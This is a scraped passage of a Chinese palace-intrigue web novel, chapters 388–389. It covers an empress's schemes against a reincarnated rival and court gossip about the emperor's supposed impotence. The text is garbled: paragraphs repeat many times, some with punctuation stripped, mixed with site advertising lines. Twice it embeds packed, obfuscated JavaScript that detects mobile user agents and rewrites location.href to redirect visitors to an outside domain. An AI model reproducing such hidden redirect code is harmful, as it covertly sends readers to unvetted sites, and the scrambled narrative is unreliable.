说着她邪魅地瞥了玉容一眼眼神如同蛇蝎。 云清婳抬腿就走。 福松啐了一声“玉容公主奴才劝您一句您就是迟国送来的玩意儿。玩意儿要是惹得皇后、皇上不快可就给迟国添麻烦了。到时候大昭不容您迟国恐怕更会不容您了。” 这么简单的道理连一个太监都想得通。 可偏生玉容想不通。 玉容如坠冰窟她的理智在动摇“不可能!他们怎么可能不爱我?我可是圣女……” 忽地她的双腿一软 晚香担忧地扶着她“公主……” 玉容摸着自己精致的脸絮絮的说:“不对!怎么可能?怎么可能?她认出我了?她认出我了?” “公主您别吓奴婢啊您在说什么啊?”晚香被她的神神叨叨吓出了眼泪。 “她居然认出我了……”玉容嘴里不住地呢喃。 …… 云清婳在御花园陪孩子放了一下午风筝。 两个小家伙玩得浑身是汗笑声不断。 云清婳趁着承基、辞忧追赶玩闹时走到凉亭下净手“飞霜时候差不多了我想给裴云澈送信。” “主子太冒险了!在后宫咱们做什么都可以但是涉及朝前的事又跟裴云澈有关锦衣卫必会收到风声。上次给谢将军的信险些都被扣下了。”飞霜担 心地提醒。 她颔首“所以我给裴云澈送去的是口信只能由亲信送。” 云清婳顿了顿良久她一字一顿道:“我要让他带我私奔!” 飞霜的眸子紧缩。 她打量着云清婳的脸色想要确定她是不是认真的。 “主子这会不会太冒险了?” “的确冒险但这也会成为他的催命符。”云清婳的眼尾上翘倾斜出几分邪气。 飞霜思索了一番大致明白了云清婳的谋划她点头“奴婢在春狩前一定办妥。” 云清婳看着两个孩子远远朝她跑来她立即敛去眉眼间的杀戮转而露出慈祥温柔的笑“快来洗手咱们要回宫了。” “好哒。”辞忧边跑脸上的婴儿肥边晃。 承基被奶娘伺候着洗手他扬起粉雕玉琢的小脸“娘亲爹爹什么时候陪我们放风筝啊?” “这个你得问你爹。”云清婳捏着帕子给他们擦汗。 辞忧叉着腰踢了踢亭柱“爹爹就是个大骗子。” “他骗小孩!”承基的小脸蛋都气鼓鼓地涨红了。 云清婳笑看着他们“行了你们爹在给你们打工呢少骂两句吧。” 两个孩子似懂非懂。 …… 坤宁宫。 晚膳前内务府的太监、嬷嬷带着侍寝录来了。 从登基到现在裴墨染只留宿过坤宁宫。 其余的嫔妃他一位都没临幸过。 云清婳掰着指头算了算如今宫中一共有五个皇子 未出生的孩子还有三个。 裴墨染的子嗣不算多但也不少了也难怪他不热衷临幸嫔妃。 但作为一个“称职”的皇后她自然还是得劝皇上雨露均沾一下的。 内务府的嬷嬷福福身“皇后娘娘陛下偏爱您一到后宫就留宿坤宁宫下至秀女上至嫔妃都颇有微词为了后宫安稳、绵延皇嗣还请娘娘劝谏。” 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 心地提醒。 她颔首,“所以,我给裴云澈送去的是口信,只能由亲信送。 云清婳顿了顿,良久,她一字一顿道:“我要让他带我私奔! 飞霜的眸子紧缩。 她打量着云清婳的脸色,想要确定她是不是认真的。 “主子,这会不会太冒险了? “的确冒险,但这也会成为他的催命符。云清婳的眼尾上翘,倾斜出几分邪气。 飞霜思索了一番,大致明白了云清婳的谋划,她点头,“奴婢在春狩前,一定办妥。 云清婳看着两个孩子远远朝她跑来,她立即敛去眉眼间的杀戮,转而露出慈祥温柔的笑,“快来洗手,咱们要回宫了。 “好哒。辞忧边跑,脸上的婴儿肥边晃。 承基被奶娘伺候着洗手,他扬起粉雕玉琢的小脸,“娘亲,爹爹什么时候陪我们放风筝啊? “这个,你得问你爹。云清婳捏着帕子,给他们擦汗。 辞忧叉着腰,踢了踢亭柱,“爹爹就是个大骗子。 “他骗小孩!承基的小脸蛋都气鼓鼓地涨红了。 云清婳笑看着他们,“行了,你们爹在给你们打工呢,少骂两句吧。 两个孩子似懂非懂。 …… 坤宁宫。 晚膳前,内务府的太监、嬷嬷带着侍寝录来了。 从登基到现在,裴墨染只留宿过坤宁宫。 其余的嫔妃,他一位都没临幸过。 云清婳掰着指头算了算,如今宫中一共有五个皇子,两个公主了。 未出生的孩子还有三个。 裴墨染的子嗣不算多,但也不少了,也难怪他不热衷临幸嫔妃。 但作为一个“称职的皇后,她自然还是得劝皇上雨露均沾一下的。 内务府的嬷嬷福福身,“皇后娘娘,陛下偏爱您,一到后宫就留宿坤宁宫,下至秀女上至嫔妃都颇有微词,为了后宫安稳、绵延皇嗣,还请娘娘劝谏。 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 心地提醒。 她颔首,“所以,我给裴云澈送去的是口信,只能由亲信送。 云清婳顿了顿,良久,她一字一顿道:“我要让他带我私奔! 飞霜的眸子紧缩。 她打量着云清婳的脸色,想要确定她是不是认真的。 “主子,这会不会太冒险了? “的确冒险,但这也会成为他的催命符。云清婳的眼尾上翘,倾斜出几分邪气。 飞霜思索了一番,大致明白了云清婳的谋划,她点头,“奴婢在春狩前,一定办妥。 云清婳看着两个孩子远远朝她跑来,她立即敛去眉眼间的杀戮,转而露出慈祥温柔的笑,“快来洗手,咱们要回宫了。 “好哒。辞忧边跑,脸上的婴儿肥边晃。 承基被奶娘伺候着洗手,他扬起粉雕玉琢的小脸,“娘亲,爹爹什么时候陪我们放风筝啊? “这个,你得问你爹。云清婳捏着帕子,给他们擦汗。 辞忧叉着腰,踢了踢亭柱,“爹爹就是个大骗子。 “他骗小孩!承基的小脸蛋都气鼓鼓地涨红了。 云清婳笑看着他们,“行了,你们爹在给你们打工呢,少骂两句吧。 两个孩子似懂非懂。 …… 坤宁宫。 晚膳前,内务府的太监、嬷嬷带着侍寝录来了。 从登基到现在,裴墨染只留宿过坤宁宫。 其余的嫔妃,他一位都没临幸过。 云清婳掰着指头算了算,如今宫中一共有五个皇子,两个公主了。 未出生的孩子还有三个。 裴墨染的子嗣不算多,但也不少了,也难怪他不热衷临幸嫔妃。 但作为一个“称职的皇后,她自然还是得劝皇上雨露均沾一下的。 内务府的嬷嬷福福身,“皇后娘娘,陛下偏爱您,一到后宫就留宿坤宁宫,下至秀女上至嫔妃都颇有微词,为了后宫安稳、绵延皇嗣,还请娘娘劝谏。 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 心地提醒。 她颔首“所以我给裴云澈送去的是口信只能由亲信送。” 云清婳顿了顿良久她一字一顿道:“我要让他带我私奔!” 飞霜的眸子紧缩。 她打量着云清婳的脸色想要确定她是不是认真的。 “主子这会不会太冒险了?” “的确冒险但这也会成为他的催命符。”云清婳的眼尾上翘倾斜出几分邪气。 飞霜思索了一番大致明白了云清婳的谋划她点头“奴婢在春狩前一定办妥。” 云清婳看着两个孩子远远朝她跑来她立即敛去眉眼间的杀戮转而露出慈祥温柔的笑“快来洗手咱们要回宫了。” “好哒。”辞忧边跑脸上的婴儿肥边晃。 承基被奶娘伺候着洗手他扬起粉雕玉琢的小脸“娘亲爹爹什么时候陪我们放风筝啊?” “这个你得问你爹。”云清婳捏着帕子给他们擦汗。 辞忧叉着腰踢了踢亭柱“爹爹就是个大骗子。” “他骗小孩!”承基的小脸蛋都气鼓鼓地涨红了。 云清婳笑看着他们“行了你们爹在给你们打工呢少骂两句吧。” 两个孩子似懂非懂。 …… 坤宁宫。 晚膳前内务府的太监、嬷嬷带着侍寝录来了。 从登基到现在裴墨染只留宿过坤宁宫。 其余的嫔妃他一位都没临幸过。 云清婳掰着指头算了算如今宫中一共有五个皇子两个公主了。 未出生的孩子还有三个。 裴墨染的子嗣不算多但也不少了 但作为一个“称职”的皇后她自然还是得劝皇上雨露均沾一下的。 内务府的嬷嬷福福身“皇后娘娘陛下偏爱您一到后宫就留宿坤宁宫下至秀女上至嫔妃都颇有微词为了后宫安稳、绵延皇嗣还请娘娘劝谏。” 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 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云清婳顿了顿,良久,她一字一顿道:“我要让他带我私奔!” 飞霜的眸子紧缩。 她打量着云清婳的脸色,想要确定她是不是认真的。 “主子,这会不会太冒险了?” “的确冒险,但这也会成为他的催命符。”云清婳的眼尾上翘,倾斜出几分邪气。 飞霜思索了一番,大致明白了云清婳的谋划,她点头,“奴婢在春狩前,一定办妥。” 云清婳看着两个孩子远远朝她跑来,她立即敛去眉眼间的杀戮,转而露出慈祥温柔的笑,“快来洗手,咱们要回宫了。” “好哒。”辞忧边跑,脸上的婴儿肥边晃。 承基被奶娘伺候着洗手,他扬起粉雕玉琢的小脸,“娘亲,爹爹什么时候陪我们放风筝啊?” “这个,你得问你爹。”云清婳捏着帕子,给他们擦汗。 辞忧叉着腰,踢了踢亭柱,“爹爹就是个大骗子。” “他骗小孩!”承基的小脸蛋都气鼓鼓地涨红了。 云清婳笑看着他们,“行了,你们爹在给你们打工呢,少骂两句吧。” 两个孩子似懂非懂。 …… 坤宁宫。 晚膳前,内务府的太监、嬷嬷带着侍寝录来了。 从登基到现在,裴墨染只留宿过坤宁宫。 其余的嫔妃,他一位都没临幸过。 云清婳掰着指头算了算,如今宫中一共有五个皇子,两个公主了。 未出生的孩子还有三个。 裴墨染的子嗣不算多,但也不少了,也难怪他不热衷临幸嫔妃。 但作为一个“称职”的皇后,她自然还是得劝皇上雨露均沾一下的。 内务府的嬷嬷福福身,“皇后娘娘,陛下偏爱您,一到后宫就留宿坤宁宫,下至秀女上至嫔妃都颇有微词,为了后宫安稳、绵延皇嗣,还请娘娘劝谏。” 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 第388章 皇上不举? 云清婳很理解,不患寡而患不均。 后宫怀孕的嫔妃不少,可偏生有的人别说侍寝,连皇上的面都见不到。 “今晚把绿头牌呈给皇上。”云清婳交代着。 内务府的嬷嬷、太监相视一笑,“是。” 傍晚,裴墨染接见完最后一个内阁大臣,他将最后一本奏折批完后,正欲起身,王显跟内务府的太监便来了。 他们的手中端着十几个绿头牌。 裴墨染只感觉一股怒火直冲天灵盖,眼前都黑了,他疲惫得连火气都发不起来。 他不冷不淡地斥责:“什么时辰了?你们可有眼色?一帮混帐!” 但内务府的太监好像早有准备,不慌不忙道:“陛下,这是皇后娘娘吩咐的。” “蛮蛮……”他低声呢喃了一句,随后烦躁地随手翻开一只绿头牌。 …… 翌日。 众嫔妃来请安。 坤宁宫的花厅中,玉容顶着两个红肿的巴掌印坐在尊位上。 众人有所耳闻皇后掌掴玉容一事,她们看着玉容,都掩面偷笑。 玉容恨得牙根痒痒,手紧紧攥住。 “昨晚柳贵人伺候皇上辛苦了。”云清婳大气地说。 飞霜端来一套金镶玉头面,呈给柳玉。 柳玉脸上的愁色,旋即化为喜色,她笑吟吟地跪下,“多谢皇后娘娘。” “皇后娘娘莫要拿柳贵人寻开心了。”玉容的语气略带锋芒,“侍寝了一半,皇上匆匆走了,柳贵人就算有心有力,可也做不到啊。” “呵……”众人笑了。 柳玉的脸颊瞬间红了。 她深深垂下脸,窘迫得抬不起头,一滴泪垂了下来。 云清婳剜了玉容一眼,她是真的不知昨晚发生了这种事。 狗男人又闹什么幺蛾子? 她疑惑地看向魏娴,魏娴对她颔首,露出确信的眼神。 “柳贵人平身吧,无论如何,你昨晚也费心了。想必陛下是有政务在身,改日本宫会劝陛下给你些赏赐。”云清婳宽慰。 柳玉这才抬起脸,好像拾起了掉在地上的颜面,她吸吸鼻子,“娘娘,其实妾身怀疑,皇上莫不是……” 她的面皮红得好像要泣血 。 “莫不是什么?玉容着急地问。 柳玉的唇瓣张张合合,最后道:“妾身不敢说。 这激发了云清婳的兴致,她摆摆手,示意福松将门窗阖上,“都是姐妹,但说无妨,门一关权当是话家常就好。 福松、飞霜麻利地阖上了所有门窗。 柳玉的眼珠子滴溜溜一转,神情变得狡黠,“娘娘,昨晚妾身真的使尽解数了,可是陛下……不为所动…… “以往也不是这样的……可这一次就…… “所以妾身怀疑……陛下莫不是年少时在战场上本就伤了身,这段日子太累,积劳成疾了?不如皇后娘娘请太医给陛下开一副补药吧? 满座哗然。 很多妃嫔联想到裴墨染看自己时波澜不惊的眼神,纷纷颔首,确信了柳玉的说辞。 “柳贵人,你别胡言!陛下正值盛年,才二十多岁呢,怎会阳衰? “陛下在西北待了十年,折损了身子,也不是没有可能。 “有道理!我兄长从马上摔下来过,也就是在这个年纪突然不举的…… 云清婳的脑袋一团乱麻,她的杏眸出现了片刻茫然。 狗男人不举? 不可能吧? 但是,他也的确前后将近两个月没跟她亲近了。 上次她答应了,裴墨染还拒绝来着…… 真的很诡异。 思及此,云清婳有些想笑。 狗男人平日就跟发情似的,满脑袋都是床笫之事,现在突然不行了,跟被阉了有什么区别? 这就是不洁种马的下场! “蛮蛮……魏娴皱眉,“陛下当真……那个了? 云清婳摇摇头,她晦涩道:“他有两个月了…… 此话一出,柳玉的眼中都聚起了光,就像她的话得到了最后的验证。 “连皇后娘娘都被冷落了,这还有假吗?妾身的推断从不会出错的!柳玉高高扬起了脖子。 方才的委屈、**从她的心中一扫而空,取而代之的是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16500537|178440||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 兴奋。 云清婳的头突突地疼了,她扶额,“柳玉,你千万谨言慎行,不要以讹传讹,胡乱传话。 “皇后娘娘放心,妾身的所有言语句句属实,必是 经过论证的。”柳玉信誓旦旦地说。 云清婳在心里翻白眼。 她要是信了就见鬼了。 柳玉的嘴跟现代的营销号一样不靠谱。 玉容抱着胳膊冷哼蔑视所有人。 这些庸脂俗粉不能激起裴墨染的兴趣就自我安慰起来了? 一帮废物! 她一定会让裴墨染神魂颠倒。 众人退下后玉容站在原地。 云清婳挑起眉毛纤细的手腕凌空一转 玉容的肩膀轻颤她怨毒地盯着云清婳“皇后娘娘妾身初来乍到不懂大昭的规矩昨日若有冒犯还请您见谅。” 说着她屈膝跪下。 飞霜有些诧异没想到这个玉容能屈能伸。 “呵……”云清婳倏地笑了“以退为进?” 玉容缓缓垂下眼睫毛微颤“皇后娘娘多虑了妾身真的知错了望您原谅妾身的鲁莽妾身远嫁在外无依无靠日后愿为您马首是瞻只求您庇佑。” 只几秒玉容便把表情调整到做小伏低。 云清婳悠闲的翘着二郎腿居高临下好整以暇地睥睨着玉容。 她身上的织金杏黄凤袍在烛火下反射出光华气势不凡“赵婉宁你怎么敢用容字做名的?” 话音一落玉容的眼睛瞬间瞪圆。 飞霜的呼吸一滞她的眼珠子都快瞪出来。 赵婉宁? 她不是早就**吗? 尸骨恐怕都腐了。 飞霜立即屏退众人。 “……”玉容颤抖起来她的嘴扯出极大的弧度表情变得阴森。 她知道现在说什么也没用了。 云清婳已经确定她的**了。 “你是什么时候发现的?”玉容从地上站起来。 云清婳轻嗤“你可真是不长进重来一次依旧这么蠢。你的鲁莽、愚钝、暴躁一点都没变的确本宫见过许多蠢人但所有蠢人里面唯有你蠢得独树一帜!” 第389章 他像肾虚? 穿书名额就不能给真正有需要的人吗? 还是说,赵婉宁生前作恶太多,所以老天爷让赵婉宁穿进来,反复被她折磨? “你少打击我了,玉容的眉毛一沉,“这一次,一切都不同了!我比你年轻貌美,比你有才华,出生也比你高贵! 飞霜翻了个白眼,虽说玉容比主子年轻,但完全不见得比主子貌美。 “可惜啊,最重要的东西,你没换。云清婳嘲讽道,像在逗弄一只小狗。 玉容面露疑惑,“什么? 云清婳好心地指了指脑袋,“呵…… 玉容发现云清婳在侮辱她,牙齿咬得咯吱作响,“你害**我,却没想到我还能回来吧?这一次,我也能给皇上生孩子了,我会夺回属于我的一切。 这么尴尬的台词,亏赵婉宁说得出来。 云清婳膈应地阖上了双眼,她捏捏鼻梁,“你错了,赵婉宁,不是本宫害死的你,而是裴墨染!当初是裴墨染下令杀死你,我那时并不知情。 毕竟,死是一种解脱,生不如死才有意思。 “不可能!我跟他这么多年的情谊,我为他挡过箭啊……玉容的眸光颤动,眼中似有什么东西在崩塌。 仅凭这一句话,云清婳、飞霜就不想再说话了。 这个蠢货彻底没救了! 相信男人我爱你三个字,必定倒霉三世! 根本不必她们出手。 “滚吧,以后少出现在本宫面前。 赵婉宁已经死过一次了,所以她对杀赵婉宁的欲望没有这么强烈。 二来,让赵婉宁亲眼看见,被自己放不下的男人杀死,这才更痛。 人离开后,飞霜的脸色还是苍白,“主子,这是真的吗?她怎么会…… 云清婳递给她一个安心的眼神,“大千世界,无奇不有。借尸还魂之法,你听过没有? 飞霜缓缓点头,“奴婢还以为只是话本子上的故事呢,没想到真的有。 “没关系,换了个壳子,芯子没换,照样是个蠢货,不必放在心上。云清婳捏着茶杯,呷了口茶,“口信传出去了吗? 飞霜颔首,“奴婢托段南天去说了,裴云澈没考虑多久就答应了。听说皇上 逼得紧,准备春狩后就让他去皇陵给先帝守灵。少说他也得在皇陵待十年,权衡之下,他自然会选择您。” 云清婳有点意外。 她还以为裴云澈会纠结不下,难以决断。 没成想裴墨染送来了东风。 …… 春狩快到了,云清婳命人准备着此次去木兰围场的行李。 晚上,裴墨染来了。 许久未见,他的面色有些憔悴,眼窝深陷,眼睑下泛着青黑,明显是熬夜熬出来的。 云清婳打量了他一番,这些日子宫中传闻裴墨染肾虚、阳衰云云,传久了,她也有些怀疑。 “看什么呢?”裴墨染轻戳了下她的额头。 云清婳递给飞霜一个眼色,飞霜端来大补汤。 “夫君憔悴了好多,喝些参汤吧。”云清婳将药捧到他面前。 在承基长大之前,裴墨染一定不能垮! 他要勤勤恳恳,不遗余力地给她儿子打工! 交给承基一个全盛的江山。 “这是什么玩意儿?好难闻。”裴墨染嫌弃地蹙眉,他指着干裂的唇瓣,“你看我熬夜熬得,都上火了,还补?” “……”云清婳只好把补药放到一边。 裴墨染实在太累,他看过熟睡的孩子后,径自去了净室。 云清婳不放心地问:“飞霜,你看他像是肾虚吗?” 毕竟裴家人这方面貌似都不太行。 裴云澈就不用说了,睿王、裴玉珠都是断袖。 “不好说……”飞霜的头摇得跟拨浪鼓似的。 云清婳叹了一声,“先帝真是不做人,裴墨染年纪轻轻,把他害成什么样了?” 飞霜咯咯地笑了,“真难得,主子开始担心皇上了。” “……”云清婳讳莫如深。 因为越接近末尾,她就越发现,还有许多事情没有安排好。 良久,裴墨染从净室出来,身上还挂着水汽。 他实在疲惫,声音都比平日小了一个度。 他一边上榻,一边徐徐道:“蛮蛮,最近奏折堆积如山,诸葛先生还递了许多治国方略上来,我还来不及看,天都快亮了。” 云清婳吹了灯,她拉上床帐,“夫君辛苦了,好在春狩要 到了,诸葛先生总不能在围场递折子吧?” “你给我按按。”他缓缓阖上双眼,“诸葛先生正有此意,今日若不是诸葛夫人旧疾犯了,他还准备跟我聊半宿呢。别看他一把年纪,可他老当益壮,志比天高。” “这是好事,将来可以把他留给承基。”她上榻后,俯下身,给裴墨染按着太阳穴。 “你心里只有孩子,我呢?你这个女人,都不会心疼你夫君。”他在她腰上掐了一把。 云清婳的心中还是有疑问,裴墨染究竟那方面究竟有没有病? 若是真有问题,不能不吃药! 她想着,手就往被褥探去。 裴墨染猝然睁开双眼,他一把抓住云清婳的手,脸蹭得红了,“蛮蛮,你疯了?你做什么?” “我……”云清婳的脸颊晕开了薄红。 她就是想验证一下…… 他突然笑了,混不吝地在她耳边问:“蛮蛮想要我?” “臭美!谁想要你?”她嫌弃地睨他,“时候不早了,明日还要上朝呢,夫君快睡吧。” 裴墨染突然起身,把她抱起来坐着。 男人铁钳般的双手禁锢她的腰,不让她乱动,他强势道:“回答我,你做什么呢?” “夫君,我困了。”她推搡着他的胸膛。 裴墨染不吃这套,凝视她的眼睛,“蛮蛮,说实话。” 他真的疑惑了,蛮蛮今日的举动实在反常。 云清婳见糊弄不过去,只好道:“你上次翻了柳贵人的绿头牌,中途怎么跑了?你去干什么了?” “我……”裴墨染轻眨了眨眼,“我想起还有政务尚未处理,去批改奏折了?怎么了?有问题吗?” 她拧着他的耳朵,虎着脸,“说实话!” 小说的域名caixs?(请来才 小说 看最新章节 完整章节) 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 到了,诸葛先生总不能在围场递折子吧?” “你给我按按。”他缓缓阖上双眼,“诸葛先生正有此意,今日若不是诸葛夫人旧疾犯了,他还准备跟我聊半宿呢。别看他一把年纪,可他老当益壮,志比天高。” “这是好事,将来可以把他留给承基。”她上榻后,俯下身,给裴墨染按着太阳穴。 “你心里只有孩子,我呢?你这个女人,都不会心疼你夫君。”他在她腰上掐了一把。 云清婳的心中还是有疑问,裴墨染究竟那方面究竟有没有病? 若是真有问题,不能不吃药! 她想着,手就往被褥探去。 裴墨染猝然睁开双眼,他一把抓住云清婳的手,脸蹭得红了,“蛮蛮,你疯了?你做什么?” “我……”云清婳的脸颊晕开了薄红。 她就是想验证一下…… 他突然笑了,混不吝地在她耳边问:“蛮蛮想要我?” “臭美!谁想要你?”她嫌弃地睨他,“时候不早了,明日还要上朝呢,夫君快睡吧。” 裴墨染突然起身,把她抱起来坐着。 男人铁钳般的双手禁锢她的腰,不让她乱动,他强势道:“回答我,你做什么呢?” “夫君,我困了。”她推搡着他的胸膛。 裴墨染不吃这套,凝视她的眼睛,“蛮蛮,说实话。” 他真的疑惑了,蛮蛮今日的举动实在反常。 云清婳见糊弄不过去,只好道:“你上次翻了柳贵人的绿头牌,中途怎么跑了?你去干什么了?” “我……”裴墨染轻眨了眨眼,“我想起还有政务尚未处理,去批改奏折了?怎么了?有问题吗?” 她拧着他的耳朵,虎着脸,“说实话!” 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 到了,诸葛先生总不能在围场递折子吧?” “你给我按按。”他缓缓阖上双眼,“诸葛先生正有此意,今日若不是诸葛夫人旧疾犯了,他还准备跟我聊半宿呢。别看他一把年纪,可他老当益壮,志比天高。” “这是好事,将来可以把他留给承基。”她上榻后,俯下身,给裴墨染按着太阳穴。 “你心里只有孩子,我呢?你这个女人,都不会心疼你夫君。”他在她腰上掐了一把。 云清婳的心中还是有疑问,裴墨染究竟那方面究竟有没有病? 若是真有问题,不能不吃药! 她想着,手就往被褥探去。 裴墨染猝然睁开双眼,他一把抓住云清婳的手,脸蹭得红了,“蛮蛮,你疯了?你做什么?” “我……”云清婳的脸颊晕开了薄红。 她就是想验证一下…… 说的域名caixs⒀(请来才小 说 看最新章节 完整章节) 他突然笑了,混不吝地在她耳边问:“蛮蛮想要我?” “臭美!谁想要你?”她嫌弃地睨他,“时候不早了,明日还要上朝呢,夫君快睡吧。” 裴墨染突然起身,把她抱起来坐着。 男人铁钳般的双手禁锢她的腰,不让她乱动,他强势道:“回答我,你做什么呢?” “夫君,我困了。”她推搡着他的胸膛。 裴墨染不吃这套,凝视她的眼睛,“蛮蛮,说实话。” 他真的疑惑了,蛮蛮今日的举动实在反常。 云清婳见糊弄不过去,只好道:“你上次翻了柳贵人的绿头牌,中途怎么跑了?你去干什么了?” “我……”裴墨染轻眨了眨眼,“我想起还有政务尚未处理,去批改奏折了?怎么了?有问题吗?” 她拧着他的耳朵,虎着脸,“说实话!” 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 到了诸葛先生总不能在围场递折子吧?” “你给我按按。”他缓缓阖上双眼“诸葛先生正有此意今日若不是诸葛夫人旧疾犯了他还准备跟我聊半宿呢。别看他一把年纪可他老当益壮志比天高。” “这是好事将来可以把他留给承基。”她上榻后俯下身给裴墨染按着太阳穴。 “你心里只有孩子我呢?你这个女人都不会心疼你夫君。”他在她腰上掐了一把。 云清婳的心中还是有疑问裴墨染究竟那方面究竟有没有病? 若是真有问题不能不吃药! 她想着手就往被褥探去。 裴墨染猝然睁开双眼他一把抓住云清婳的手脸蹭得红了“蛮蛮你疯了?你做什么?” “我……”云清婳的脸颊晕开了薄红。 她就是想验证一下…… 他突然笑了混不吝地在她耳边问:“蛮蛮想要我?” “臭美!谁想要你?”她嫌弃地睨他“时候不早了明日还要上朝呢夫君快睡吧。” 裴墨染突然起身把她抱起来坐着。 男人铁钳般的双手禁锢她的腰不让她乱动他强势道:“回答我你做什么呢?” “夫君我困了。”她推搡着他的胸膛。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16500538|178440||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >裴墨染不吃这套凝视她的眼睛“蛮蛮说实话。” 他真的疑惑了蛮蛮今日的举动实在反常。 云清婳见糊弄不过去只好道:“你上次翻了柳贵人的绿头牌中途怎么跑了?你去干什么了?” “我……”裴墨染轻眨了眨眼“我想起还有政务尚未处理去批改奏折了?怎么了?有问题吗?” 她拧着他的耳朵虎着脸 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 到了诸葛先生总不能在围场递折子吧?” “你给我按按。”他缓缓阖上双眼“诸葛先生正有此意今日若不是诸葛夫人旧疾犯了他还准备跟我聊半宿呢。别看他一把年纪可他老当益壮志比天高。” “这是好事将来可以把他留给承基。”她上榻后俯下身给裴墨染按着太阳穴。 “你心里只有孩子我呢?你这个女人都不会心疼你夫君。”他在她腰上掐了一把。 云清婳的心中还是有疑问裴墨染究竟那方面究竟有没有病? 若是真有问题不能不吃药! 她想着手就往被褥探去。 裴墨染猝然睁开双眼他一把抓住云清婳的手脸蹭得红了“蛮蛮你疯了?你做什么?” “我……”云清婳的脸颊晕开了薄红。 她就是想验证一下…… 他突然笑了混不吝地在她耳边问:“蛮蛮想要我?” “臭美!谁想要你?”她嫌弃地睨他“时候不早了明日还要上朝呢夫君快睡吧。” 裴墨染突然起身把她抱起来坐着。 男人铁钳般的双手禁锢她的腰不让她乱动他强势道:“回答我你做什么呢?” “夫君我困了。”她推搡着他的胸膛。 裴墨染不吃这套凝视她的眼睛“蛮蛮说实话。” 他真的疑惑了蛮蛮今日的举动实在反常。 云清婳见糊弄不过去只好道:“你上次翻了柳贵人的绿头牌中途怎么跑了?你去干什么了?” “我……”裴墨染轻眨了眨眼“我想起还有政务尚未处理去批改奏折了?怎么了?有问题吗?” 她拧着他的耳朵虎着脸 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 到了,诸葛先生总不能在围场递折子吧?” “你给我按按。”他缓缓阖上双眼,“诸葛先生正有此意,今日若不是诸葛夫人旧疾犯了,他还准备跟我聊半宿呢。别看他一把年纪,可他老当益壮,志比天高。” “这是好事,将来可以把他留给承基。”她上榻后,俯下身,给裴墨染按着太阳穴。 “你心里只有孩子,我呢?你这个女人,都不会心疼你夫君。”他在她腰上掐了一把。 云清婳的心中还是有疑问,裴墨染究竟那方面究竟有没有病? 若是真有问题,不能不吃药! 她想着,手就往被褥探去。 裴墨染猝然睁开双眼,他一把抓住云清婳的手,脸蹭得红了,“蛮蛮,你疯了?你做什么?” “我……”云清婳的脸颊晕开了薄红。 她就是想验证一下…… 他突然笑了,混不吝地在她耳边问:“蛮蛮想要我?” “臭美!谁想要你?”她嫌弃地睨他,“时候不早了,明日还要上朝呢,夫君快睡吧。” 裴墨染突然起身,把她抱起来坐着。 男人铁钳般的双手禁锢她的腰,不让她乱动,他强势道:“回答我,你做什么呢?” “夫君,我困了。”她推搡着他的胸膛。 裴墨染不吃这套,凝视她的眼睛,“蛮蛮,说实话。” 他真的疑惑了,蛮蛮今日的举动实在反常。 云清婳见糊弄不过去,只好道:“你上次翻了柳贵人的绿头牌,中途怎么跑了?你去干什么了?” “我……”裴墨染轻眨了眨眼,“我想起还有政务尚未处理,去批改奏折了?怎么了?有问题吗?” 她拧着他的耳朵,虎着脸,“说实话!” 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 到了诸葛先生总不能在围场递折子吧?” “你给我按按。”他缓缓阖上双眼“诸葛先生正有此意今日若不是诸葛夫人旧疾犯了他还准备跟我聊半宿呢。别看他一把年纪可他老当益壮志比天高。” “这是好事将来可以把他留给承基。”她上榻后俯下身给裴墨染按着太阳穴。 “你心里只有孩子我呢?你这个女人都不会心疼你夫君。”他在她腰上掐了一把。 云清婳的心中还是有疑问裴墨染究竟那方面究竟有没有病? 若是真有问题不能不吃药! 她想着手就往被褥探去。 裴墨染猝然睁开双眼他一把抓住云清婳的手 “我……”云清婳的脸颊晕开了薄红。 她就是想验证一下…… 他突然笑了混不吝地在她耳边问:“蛮蛮想要我?” “臭美!谁想要你?”她嫌弃地睨他“时候不早了明日还要上朝呢夫君快睡吧。” 裴墨染突然起身把她抱起来坐着。 男人铁钳般的双手禁锢她的腰不让她乱动他强势道:“回答我你做什么呢?” “夫君我困了。”她推搡着他的胸膛。 裴墨染不吃这套凝视她的眼睛“蛮蛮说实话。” 他真的疑惑了蛮蛮今日的举动实在反常。 云清婳见糊弄不过去只好道:“你上次翻了柳贵人的绿头牌中途怎么跑了?你去干什么了?” “我……”裴墨染轻眨了眨眼“我想起还有政务尚未处理去批改奏折了?怎么了?有问题吗?” 她拧着他的耳朵虎着脸“说实话!” 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 第390章 私奔 